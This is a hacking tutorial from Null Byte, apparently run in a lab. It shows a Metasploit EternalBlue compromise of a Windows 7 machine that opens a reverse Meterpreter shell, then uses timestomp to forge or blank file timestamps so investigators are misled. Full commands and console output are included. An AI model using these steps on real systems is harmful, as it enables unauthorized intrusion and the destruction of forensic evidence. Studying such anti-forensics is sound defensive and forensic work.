How to Use Metasploit's Timestomp to Modify File Attributes & Avoid Detection « Null Byte :: WonderHowTo

It is said that the best way toavoid detectionwhen hacking is to leave no trace, and often that means not touching thefilesystemat all. But realistically, in most cases, it's impossible not to interact with the filesystem in one way or another. The next best thing to do to throw off any investigators is to change the file attributes to hide activity. We can do this withMetasploit'sTimestomp.What Are MACE Values?MACE (modified, accessed, created, entry) values are file attributes that describe the dates and times of activity on a file. These attributes are used byadministratorsto determine when a file was last accessed or changed, and they can often be used to trace malicious activity.Don't Miss:Perform a Pass-the-Hash Attack & Get System Access on WindowsThe best course of action when hacking is to leave no trace behind at all, but modifying MACE attributes might be the next best thing. This method is not infallible, but it can helpobscure your activityon the filesystem.Common sense must be utilized, though, as dates far in the past (or future) can be a dead giveaway of hacking activity. Changing all four attributes to the same date and time is also a giveaway since this would be impossible.Step 1: Set Up EverythingWe will be using a copy ofWindows 7as our mark, andKali Linuxas our attacking machine. The first thing we need to do is create some sample files on the target. I also created a new folder named "MyFiles" to keep them in to stay organized. It doesn't matter what these are — some basictext fileswill be more than enough.On Amazon:'Metasploit for Beginners: Create a threat-free environment with the best-in-class tool'Step 2: Get a Meterpreter SessionNow that we are all set on that end, fire upMetasploiton our attacking machine by typingmsfconsolein theterminal.~# msfconsole

msf5 >This target is vulnerable toEternalBlue, so I will use that to get a shell. It doesn't matter what you use, though, as long as you end up with aMeterpretersession on the target.msf5 > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > run

[*] Started reverse TCP handler on 10.10.0.1:1234
[*] 10.10.0.104:445 - Connecting to target for exploitation.
[+] 10.10.0.104:445 - Connection established for exploitation.
[+] 10.10.0.104:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.104:445 - CORE raw buffer dump (42 bytes)
[*] 10.10.0.104:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73  Windows 7 Profes
[*] 10.10.0.104:445 - 0x00000010  73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76  sional 7601 Serv
[*] 10.10.0.104:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.0.104:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.104:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.104:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.104:445 - Starting non-paged pool grooming
[+] 10.10.0.104:445 - Sending SMBv2 buffers
[+] 10.10.0.104:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.104:445 - Sending final SMBv2 buffers.
[*] 10.10.0.104:445 - Sending last fragment of exploit packet!
[*] 10.10.0.104:445 - Receiving response from exploit packet
[+] 10.10.0.104:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.104:445 - Sending egg to corrupted connection.
[*] 10.10.0.104:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.104
[*] Meterpreter session 1 opened (10.10.0.1:1234 -> 10.10.0.104:49233) at 2019-04-08 10:41:26 -0500
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.104:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >Step 3: Verify the Files on the TargetNow that we have compromised the target, issue thepwdcommand to view the current working directory.meterpreter > pwd

C:\Windows\system32Since we created a new folder on theC drive, we can navigate there and confirm the files we created earlier exist.meterpreter > cd C:/Myfiles
meterpreter > ls

Listing: C:\Myfiles
===================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
100666/rw-rw-rw-  12    fil   2019-04-08 12:43:24 -0500  example.txt
100666/rw-rw-rw-  7     fil   2019-04-08 12:43:55 -0500  test1.txt
100666/rw-rw-rw-  13    fil   2019-04-08 12:43:55 -0500  test2.txt
100666/rw-rw-rw-  127   fil   2019-04-08 12:43:55 -0500  test3.txtStep 4: Change File Attributes with TimestompTimestomp is apost-exploitationmodule available in Meterpreter that can be used to modify the MACE values of files. It is useful because we can change the times and dates of any files we access, minimizing the risk of being caught.In a Meterpreter session, usetimestomp helpto display the help menu for this module:meterpreter > timestomp help

Usage: timestomp <file(s)> OPTIONS

OPTIONS:

    -a <opt>  Set the "last accessed" time of the file
    -b        Set the MACE timestamps so that EnCase shows blanks
    -c <opt>  Set the "creation" time of the file
    -e <opt>  Set the "mft entry modified" time of the file
    -f <opt>  Set the MACE of attributes equal to the supplied file
    -h        Help banner
    -m <opt>  Set the "last written" time of the file
    -r        Set the MACE timestamps recursively on a directory
    -v        Display the UTC MACE values of the file
    -z <opt>  Set all four attributes (MACE) of the file1. View MACE Values for a FileProvide the file and the desired option to perform an action. For example, to view the MACE values of a file, use the-vflag.meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt
Modified      : 2019-04-08 13:44:25 -0500
Accessed      : 2019-04-08 13:43:24 -0500
Created       : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -05002. Change Modified, Accessed, Created & Entry Modified ValuesWe can change any of these attributes by using the appropriate option and a valid DateTime format. To change the "modified" value, use the-mflag.meterpreter > timestomp example.txt -m "02/14/2012 08:10:03"

[*] Setting specific MACE attributes on example.txtNow when we view the file attributes, we can see that this has changed.meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt
Modified      : 2012-02-14 08:10:03 -0600
Accessed      : 2019-04-08 13:43:24 -0500
Created       : 2019-04-08 13:43:24 -0500
Entry Modified: 2019-04-08 13:44:25 -0500We can do this for the "accessed" value as well using the-aflag.meterpreter > timestomp example.txt -a "02/14/2012 08:10:03"

[*] Setting specific MACE attributes on example.txtAnd the "created" value with the-cflag.meterpreter > timestomp example.txt -c "03/11/1999 10:05:01"

[*] Setting specific MACE attributes on example.txtAnd finally, the "entry modified" value using the-eflag.meterpreter > timestomp example.txt -e "04/25/2018 11:11:08"

[*] Setting specific MACE attributes on example.txtNow when we view the file, we can see all these changes have gone into effect.meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt
Modified      : 2012-02-14 08:10:03 -0600
Accessed      : 2012-02-14 08:10:03 -0600
Created       : 1999-03-11 10:05:01 -0600
Entry Modified: 2018-04-25 12:11:08 -05003. Change All Values at the Same TimeWe can also change these attributes all at once if we wanted the values all to be the same — use the-zflag to do so.meterpreter > timestomp example.txt -z "10/15/2017 05:30:22"

[*] Setting specific MACE attributes on example.txtAnd now they all have changed again.meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt
Modified      : 2017-10-15 06:30:22 -0500
Accessed      : 2017-10-15 06:30:22 -0500
Created       : 2017-10-15 06:30:22 -0500
Entry Modified: 2017-10-15 06:30:22 -05004. Match Values with Another FileThere is also an interesting option to set the MACE attributes equivalent to an existing file on the system by using the-fflag, but I couldn't get this to work.meterpreter > timestomp example.txt -f C:\\Windows\\notepad.exe

[*] Pulling MACE attributes from C:\Windows\notepad.exe
[-] priv_fs_get_file_mace: Operation failed: The handle is invalid.5. Remove All ValuesWe can totally blank the file attributes, too, using the-bflag.meterpreter > timestomp example.txt -b

[*] Blanking file MACE attributes on example.txtNow when we view the file, it shows the nonsensical values as dates in the future, which is obviously impossible.meterpreter > timestomp example.txt -v

[*] Showing MACE attributes for example.txt
Modified      : 2106-02-07 00:28:15 -0600
Accessed      : 2106-02-07 00:28:15 -0600
Created       : 2106-02-07 00:28:15 -0600
Entry Modified: 2106-02-07 00:28:15 -0600We can also blank all files recursively in the current directory with the-rflag.meterpreter > timestomp ./ -r

[*] Blanking directory MACE attributes on ./When we look at the files on the target now, the dates show up as blank.Wrapping UpToday, we learned a little about MACE values of files and how they pertain toforensics. After we initially compromised our target and gained a Meterpreter session, we explored Timestomp and how it can be used to modify MACE attributes to avoid detection. However, take this with a grain of salt — modifying file attributes is better than nothing when trying to remain hidden, but it is not perfect. Stay frosty, white hats.Don't Miss:Discover Open Ports Using Metasploit's Built-in Port ScannerWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byFree-Photos/Pixabay; Screenshots by drd_/Null ByteRelatedHack Like a Pro:The Ultimate Command Cheat Sheet for Metasploit's MeterpreterHow To:Add LED lights to avoid speed detection while drivingHack Like a Pro:How to Evade AV Software with ShellterHack Like a Pro:Digital Forensics for the Aspiring Hacker, Part 1 (Tools & Techniques)News:How-to Design Amazing Web Pages Using Basic HTMLHow To:Use MSFconsole's Generate Command to Obfuscate Payloads & Evade Antivirus DetectionHow to Hack Like a Pro:Getting Started with MetasploitHacking macOS:How to Perform Privilege Escalation, Part 1 (File Permissions Abuse)Hack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:Metasploit for the Aspiring Hacker, Part 14 (Creating Resource Script Files)Hack Like a Pro:Linux Basics for the Aspiring Hacker, Part 19 (Linking Files)Hack Like a Pro:Metasploit for the Aspiring Hacker, Part 5 (Msfvenom)How To:Use Metasploit's Database to Stay Organized & Store Information While HackingHow To:Embed a Metasploit Payload in an Original .Apk File | Part 2 – Do It ManuallyHow To:Creating a (Almost) Fully Undetectable EXE Using Kali & GCCHack Like a Pro:How to Embed a Backdoor Connection in an Innocent-Looking PDFHow To:Exploit Remote File Inclusion to Get a ShellHack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:Exploring Metasploit Auxiliary Modules (FTP Fuzzing)IPsec Tools of the Trade:Don't Bring a Knife to a GunfightNews:Joseph Kony hunt is proving difficult for U.S. troopsHow To:Get the 'Standing Stones' Achievement in The Elder Scrolls V: SkyrimGoodnight Byte:HackThisSite, Realistic 1 - Real Hacking SimulationsHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterNews:Amazing 3D Object DetectionNinja Saga Tutorial:User Interface MapsDrive-By Hacking:How to Root a Windows Box by Walking Past ItHow To:Make an Unbreakable Linux Password Using a SHA-2 Hash AlgorithmGoodnight Byte:HackThisSite Walkthrough, Part 3 - Legal Hacker Training